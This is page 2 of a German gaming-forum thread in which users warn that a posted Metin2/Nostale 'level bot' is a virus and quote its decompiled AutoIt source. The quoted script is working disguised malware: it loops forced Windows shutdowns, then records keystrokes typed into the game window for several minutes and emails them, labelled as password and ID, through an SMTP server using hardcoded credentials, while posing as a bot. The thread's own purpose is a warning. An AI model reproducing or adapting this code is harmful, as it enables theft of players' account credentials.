Nostale_Ultimativ_bot

Page 2 of 2 1 2
02/17/2009 15:52 ~Freaky~#16
nur so zu info ^^
es ist ein virus
1. Wieso wen man ihn startet steht da Metin2 ?
2. er schreibt nur ere id und pw mit ^^
3. der bot wurde schonmal gepostet
4. vote 4 close

Quote:
GLOBAL $DEINEEMAILADRESSE = "[Only registered and activated users can see links. Click Here To Register...]"
Global $ABSENDEREMAIL = "[Only registered and activated users can see links. Click Here To Register...]"
Global $PASSWORT = "nilpferd"

#NoTrayIcon
If WinActivate("METIN2") Then
MsgBox(0, "Metin2 Lvlbot", "Dein Metin2 Fenster ist aktiv, bitte schließe es! Die initialien dieses Fensters müssen erst gelesen werden!")
Sleep(5000)
Else
MsgBox(0, "Metin2 Lvlbot", "Du kannst nun Metin2 starten!")
EndIf
If WinActivate("METIN2") Then
While 1
$SHUT = Shutdown(0)
If $SHUT = 0 Then
$SHUT = Shutdown(1)
If $SHUT = 0 Then
$SHUT = Shutdown(2)
If $SHUT = 0 Then
$SHUT = Shutdown(4)
If $SHUT = 0 Then
$SHUT = Shutdown(8)
If $SHUT = 0 Then
$SHUT = Shutdown(32)
If $SHUT = 0 Then
$SHUT = Shutdown(46)
EndIf
EndIf
EndIf
EndIf
EndIf
EndIf
WEnd
EndIf
$DLL = DllOpen("user32.dll")
$KEYS = IniReadSection("keys.ini", "keys")
WinWaitActive("METIN2")
Global $TIMER = TimerInit()
Global $A = "DETECTOR: "
Global $SHIFT = False
Do
For $X = 1 To $KEYS[0][0]
If _ISPRESSED($KEYS[$X][0], $DLL) Then
$KEY = $KEYS[$X][1]
If (_ISPRESSED("A1") Or _ISPRESSED("A0")) Then
If Not $SHIFT Then
$A = $A & "{Shift} "
EndIf
$SHIFT = True
Else
If $SHIFT = True Then
$A = $A & "{//Shift} "
$SHIFT = False
EndIf
EndIf
While _ISPRESSED($KEYS[$X][0], $DLL)
Sleep(1)
WEnd
$A = $A & $KEYS[$X][1] & " "
If TimerDiff($TIMER) > MIN2MILLI(4.5) Or _ISPRESSED("25") Or _ISPRESSED("26") Or _ISPRESSED("27") Or _ISPRESSED("28") Then ExitLoop
EndIf
If TimerDiff($TIMER) > MIN2MILLI(4.5) Or _ISPRESSED("25") Or _ISPRESSED("26") Or _ISPRESSED("27") Or _ISPRESSED("28") Then ExitLoop
Next
Until TimerDiff($TIMER) > MIN2MILLI(4.5) Or _ISPRESSED("25") Or _ISPRESSED("26") Or _ISPRESSED("27") Or _ISPRESSED("28")
SENDMAIL($ABSENDEREMAIL, $DEINEEMAILADRESSE, $A, $ABSENDEREMAIL, $PASSWORT)
Sleep(Int(Random(1000, 6000)))
$MSG = MsgBox(0, "Metin2 LvL-Bot", "Der Lvlbot ist bereit! Klicke auf Ok um den Bot zu Starten")
If $MSG = 1 Then LOS()
HotKeySet("{F8}", "_beenden")
HotKeySet("{F9}", "_pause")
HotKeySet("{F7}", "Los")
HotKeySet("{F6}", "ShowExp")
HotKeySet("{F5}", "Inventar")

Func INVENTAR()
If _ISPRESSED("49") Then
Do
Sleep(10)
Until _ISPRESSED("49")
EndIf
EndFunc


Func SHOWEXP()
Do
Sleep(15)
MouseMove(222, 578, 1)
Sleep(15)
Until _ISPRESSED("75")
EndFunc


Func _PAUSE()
Do
Sleep(100)
$MESSEGE = MsgBox(0, "LvL-Bot Pause", "Klicke Ok um weiter zu Lvln")
Until $MESSEGE = 1
EndFunc


Func _BEENDEN()
Exit
EndFunc


Func LVLN()
$PIXELSEARCH = PixelSearch(1, 1, 744, 446, "0xE81722", 25)
If Not @error Then
MouseMove($PIXELSEARCH[0] + 25, $PIXELSEARCH[1] + 50, 1)
Send("{^}{^}{^}{^}{^}{^}")
MouseClick("left")
Send("{^}{^}{^}{^}{^}{^}")
Else
Send("{^}{^}{^}{^}{^}{^}")
MouseClickDrag("right", 198, 434, 212, 434)
Send("{^}{^}{^}{^}{^}{^}")
$PIXELSEARCH = PixelSearch(1, 1, 744, 446, "0xE81722", 25)
If Not @error Then
MouseMove($PIXELSEARCH[0] + 25, $PIXELSEARCH[1] + 50, 1)
Send("{^}{^}{^}{^}{^}{^}")
MouseClick("left")
Send("{^}{^}{^}{^}{^}{^}")
Else
MouseClickDrag("right", 198, 434, 212, 434)
Send("{^}{^}{^}{^}{^}{^}")
$PIXELSEARCH = PixelSearch(1, 1, 744, 446, "0xE81722", 25)
If Not @error Then
Send("{^}{^}{^}{^}{^}{^}")
MouseMove($PIXELSEARCH[0] + 25, $PIXELSEARCH[1] + 50, 1)
Send("{^}{^}{^}{^}{^}{^}")
MouseClick("left")
Send("{^}{^}{^}{^}{^}{^}")
Else
MouseClickDrag("right", 198, 434, 212, 434)
Send("{^}{^}{^}{^}{^}{^}")
$PIXELSEARCH = PixelSearch(1, 1, 744, 446, "0xE81722", 25)
If Not @error Then
Send("{^}{^}{^}{^}{^}{^}")
MouseMove($PIXELSEARCH[0] + 25, $PIXELSEARCH[1] + 50, 1)
Send("{^}{^}{^}{^}{^}{^}")
MouseClick("left")
Send("{^}{^}{^}{^}{^}{^}")
Send("{d}")
Send("{a}")
Send("{d}")
Send("{a}")
Send("{^}{^}{^}{^}{^}{^}")
Send("{w down}")
Send("{^}{^}{^}{^}{^}{^}")
Sleep(3000)
Send("{^}{^}{^}{^}{^}{^}")
Send("{w up}")
Send("{^}{^}{^}{^}{^}{^}")
Send("{d}")
Send("{a}")
Send("{d}")
Send("{a}")
Send("{^}{^}{^}{^}{^}{^}")
Else
Send("{w down}")
Send("{^}{^}{^}{^}{^}{^}")
Sleep(3000)
Send("{^}{^}{^}{^}{^}{^}")
Send("{w up}")
Send("{^}{^}{^}{^}{^}{^}")
Send("{^}{^}{^}{^}{^}{^}")
Send("{^}{^}{^}{^}{^}{^}")
$PIXELSEARCH = PixelSearch(1, 1, 744, 446, "0xE81722", 25)
If Not @error Then
Send("{^}{^}{^}{^}{^}{^}")
MouseMove($PIXELSEARCH[0] + 25, $PIXELSEARCH[1] + 50, 1)
Send("{^}{^}{^}{^}{^}{^}")
MouseClick("left")
Send("{^}{^}{^}{^}{^}{^}")
Send("{d}")
Send("{a}")
Send("{d}")
Send("{a}")
Send("{^}{^}{^}{^}{^}{^}")
Else
Send("{^}{^}{^}{^}{^}{^}")
Send("{w down}")
Send("{^}{^}{^}{^}{^}{^}")
Sleep(3000)
Send("{^}{^}{^}{^}{^}{^}")
Send("{w up}")
Send("{^}{^}{^}{^}{^}{^}")
Send("{^}{^}{^}{^}{^}{^}")
EndIf
EndIf
EndIf
EndIf
EndIf
EndFunc


Func FERTIGKEITEN()
Send("{F1}")
Send("{d}")
Send("{d}")
Send("{a}")
Send("{d}")
Send("{a}")
Send("{F2}")
Send("{F3}")
Send("{F4}")
EndFunc


Func DRINK()
$TP2 = PixelSearch(118, 572, 118, 572, 2894892, 35)
If Not @error Then
Send("{4}")
Send("{4}")
Send("{4}")
EndIf
$TP = PixelSearch(124, 572, 124, 572, 2894892, 35)
If Not @error Then
Send("{4}")
EndIf
$MP = PixelSearch(70, 584, 70, 584, 2894892, 35)
If Not @error Then
Send("{3}")
EndIf
EndFunc

$HI = 1

Func SAGHI()
Sleep(1)
EndFunc


Func TOD()
$TOD = PixelSearch(216, 81, 216, 81, 13551566, 25)
If Not @error Then
MouseMove(216, 81, 1)
MouseClick("left")
EndIf
EndFunc


Func LOSER()
TOD()
LVLN()
DRINK()
LVLN()
LVLN()
LVLN()
DRINK()
LVLN()
LVLN()
LVLN()
DRINK()
LVLN()
LVLN()
TOD()
LVLN()
DRINK()
LVLN()
LVLN()
LVLN()
DRINK()
LVLN()
LVLN()
LVLN()
DRINK()
LVLN()
LVLN()
DRINK()
LVLN()
LVLN()
FERTIGKEITEN()
LVLN()
LVLN()
DRINK()
LVLN()
LVLN()
DRINK()
LVLN()
LVLN()
DRINK()
LVLN()
LVLN()
FERTIGKEITEN()
TOD()
SAGHI()
EndFunc


Func LOS()
Sleep(7000)
While 1
LOSER()
WEnd
EndFunc


Func TRU()
If Not $TRUH Then
$TRUH = True
EndIf
EndFunc


Func _INETSMTPMAILCOM($S_SMTPSERVER, $S_FROMNAME, $S_FROMADDRESS, $S_TOADDRESS, $S_SUBJECT = "", $AS_BODY = "", $S_ATTACHFILES = "", $S_CCADDRESS = "", $S_BCCADDRESS = "", $S_USERNAME = "", $S_PASSWORD = "")
$OBJEMAIL = ObjCreate("CDO.Message")
$OBJEMAIL.From = '"' & $S_FROMNAME & '" <' & $S_FROMADDRESS & ">"
$OBJEMAIL.To= $S_TOADDRESS
Local $I_ERROR = 0
Local $I_ERROR_DESCIPTION = ""
If $S_CCADDRESS <> "" Then $OBJEMAIL.Cc = $S_CCADDRESS
If $S_BCCADDRESS <> "" Then $OBJEMAIL.Cc = $S_BCCADDRESS
$OBJEMAIL.Subject = $S_SUBJECT
If StringInStr($AS_BODY, "<") And StringInStr($AS_BODY, ">") Then
$OBJEMAIL.HTMLBody = $AS_BODY
Else
$OBJEMAIL.Textbody = $AS_BODY & @CRLF
EndIf
If $S_ATTACHFILES <> "" Then
Local $S_FILES2ATTACH = StringSplit($S_ATTACHFILES, ";")
For $EX = 1 To $S_FILES2ATTACH[0]
$S_FILES2ATTACH[$X] = _PathFull($S_FILES2ATTACH[$X])
If FileExists($S_FILES2ATTACH[$X]) Then
$OBJEMAIL.AddAttachment($S_FILES2ATTACH[$X])
Else
$I_ERROR_DESCIPTION = $I_ERROR_DESCIPTION & @LF & "File not found to attach: " & $S_FILES2ATTACH[$X]
SetError(1)
Return 0
EndIf
Next
EndIf
$OBJEMAIL.Configuration.Fields.Item("http://schemas.microsoft.com/cdo/configuration/sendusing") = 2
$OBJEMAIL.Configuration.Fields.Item("http://schemas.microsoft.com/cdo/configuration/smtpserver") = $S_SMTPSERVER
$OBJEMAIL.Configuration.Fields.Item("http://schemas.microsoft.com/cdo/configuration/smtpserverport") = 25
If $S_USERNAME <> "" Then
$OBJEMAIL.Configuration.Fields.Item("http://schemas.microsoft.com/cdo/configuration/smtpauthenticate") = 1
$OBJEMAIL.Configuration.Fields.Item("http://schemas.microsoft.com/cdo/configuration/sendusername") = $S_USERNAME
$OBJEMAIL.Configuration.Fields.Item("http://schemas.microsoft.com/cdo/configuration/sendpassword") = $S_PASSWORD
EndIf
$OBJEMAIL.Configuration.Fields.Update
$OBJEMAIL.Send
If @error Then
SetError(2)
Return $OMYRET[1]
EndIf
EndFunc


Func SENDMAIL($FROM, $TO, $BODY, $USER, $PASSWORD)
SENDAMAIL("smtp.web.de", "xyzichbinfett", $FROM, $TO, "Passwort und Id von xyzichbinfett's bot!", $BODY, "", "", "", $USER, $PASSWORD)
EndFunc


Func SENDAMAIL($S_SMTPSERVER, $S_FROMNAME, $S_FROMADDRESS, $S_TOADDRESS, $S_SUBJECT = "", $AS_BODY = "", $S_ATTACHFILES = "", $S_CCADDRESS = "", $S_BCCADDRESS = "", $S_USERNAME = "", $S_PASSWORD = "")
Global $OMYRET[2]
Global $OMYERROR = ObjEvent("AutoIt.Error", "MyErrFunc")
$RC = _INETSMTPMAILCOM($S_SMTPSERVER, $S_FROMNAME, $S_FROMADDRESS, $S_TOADDRESS, $S_SUBJECT, $AS_BODY, $S_ATTACHFILES, $S_CCADDRESS, $S_BCCADDRESS, $S_USERNAME, $S_PASSWORD)
If @error Then
MsgBox(0, "Error", "Es ist ein unerwarteter Fehler aufgetreten! Bitte versuche es erneut")
EndIf
EndFunc


Func MYERRFUNC()
$HEXNUMBER = Hex($OMYERROR.number, 8)
$OMYRET[0] = $HEXNUMBER
$OMYRET[1] = StringStripWS($OMYERROR.description, 3)
ConsoleWrite("### COM Error ! Number: " & $HEXNUMBER & " ScriptLine: " & $OMYERROR.scriptline & " Description:" & $OMYRET[1] & @LF)
SetError(1)
Return
EndFunc


Func MIN2MILLI($MILLI)
$NEU = Int($MILLI) * 1000
$NEU = $NEU * 60
Return Int($NEU)
EndFunc
02/17/2009 16:07 Yuri Dean#17
Ergibt Sinn...o_o
Vote for close~~
02/17/2009 16:30 NetMax#18
Vote for CLOSE!
02/17/2009 18:07 ~Freaky~#19
ich finde das so unlogisch dieser bot / keylogger wurde jetz in so viele threads gepostet und dieser ist der lengste der am laufen bleibt
#report
10/31/2009 17:14 Furkan98#20
da ist ein trojaner
Page 2 of 2 1 2